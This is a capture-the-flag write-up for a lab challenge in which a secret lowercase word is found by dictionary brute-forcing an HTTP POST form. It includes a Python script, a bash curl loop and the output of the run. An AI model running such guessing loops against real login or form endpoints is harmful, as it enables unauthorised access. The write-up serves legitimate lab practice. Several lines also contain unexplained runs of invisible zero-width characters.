Уцуцуга (Utsutuga)

Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-25 | Status: Solved Techniques: dictionary_attack, http_post_bruteforce

Summary

Task: Guess a lowercase English word via HTTP POST form. Solution: Dictionary attack with common English words list, "people" returned the flag.

Уцуцуга — hackerlab

Description

Попробуй угадать слово, состоящее из английских букв в lowercase, и получи флаг!

(Translation: "Try to guess a word consisting of lowercase English letters and get the flag!")

Target: 192.169.2.100:13000

Analysis

1. Connecting to the server — port 13000 turned out to be an HTTP server on Gunicorn (Python WSGI)

2. Web interface — a form for checking words with POST parameter word

3. Server behavior:

   • Wrong word → response "No"
   • Correct word → returns the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Task name — "Уцуцуга" — most likely a distraction or wordplay, carries no meaning for the solution

Solution

Approach: Dictionary Attack

Since we need to guess an English word in lowercase, it makes sense to use a dictionary of common English words.

Bruteforce script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "http://192.169.2.100:13000/"

# Common English words list
words = [
    "the", "be", "to", "of", "and", "a", "in", "that", "have", "i",
    "it", "for", "not", "on", "with", "he", "as", "you", "do", "at",
    "this", "but", "his", "by", "from", "they", "we", "say", "her", "she",
    "or", "an", "will", "my", "one", "all", "would", "there", "their", "what",
    "so", "up", "out", "if", "about", "who", "get", "which", "go", "me",
    "when", "make", "can", "like", "time", "no", "just", "him", "know", "take",
    "people", "into", "year", "your", "good", "some", "could", "them", "see", "other",
    "than", "then", "now", "look", "only", "come", "its", "over", "think", "also",
    "back", "after", "use", "two", "how", "our", "work", "first", "well", "way",
    "even", "new", "want", "because", "any", "these", "give", "day", "most", "us",
    "flag", "password", "secret", "admin", "user", "test", "hello", "world"
]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for word in words:
    try:
        r = requests.post(url, data={"word": word}, timeout=5)
        if "No" not in r.text and len(r.text) > 10:
            print(f"[+] Found! Word: {word}")
            print(f"[+] Response: {r.text}")
            break
        else:
            print(f"[-] {word}: No")
    except Exception as e:
        print(f"[!] Error with {word}: {e}")

Result

[-] the: No
[-] be: No
...
[+] Found! Word: people
[+] Response: CODEBY{REDACTED}

The word "people" returned the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative method (curl)

 bash read-only • copy allowed Copy
# Check a single word
curl -X POST http://192.169.2.100:13000/ -d "word=people"

# Bruteforce via bash
for word in $(cat /usr/share/dict/words | head -1000); do
    result=$(curl -s -X POST http://192.169.2.100:13000/ -d "word=$word")
    if [[ "$result" != *"No"* ]]; then
        echo "Found: $word -> $result"
        break
    fi
done

Notes

• The name "Уцуцуга" — a typical red herring in CTF, not worth spending time analyzing it
• For such tasks it's useful to have ready wordlists:
  • /usr/share/dict/words (system dictionary)
  • SecLists common words
  • Top 1000/10000 English words
• The word "people" is in the top 100 most common English words ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍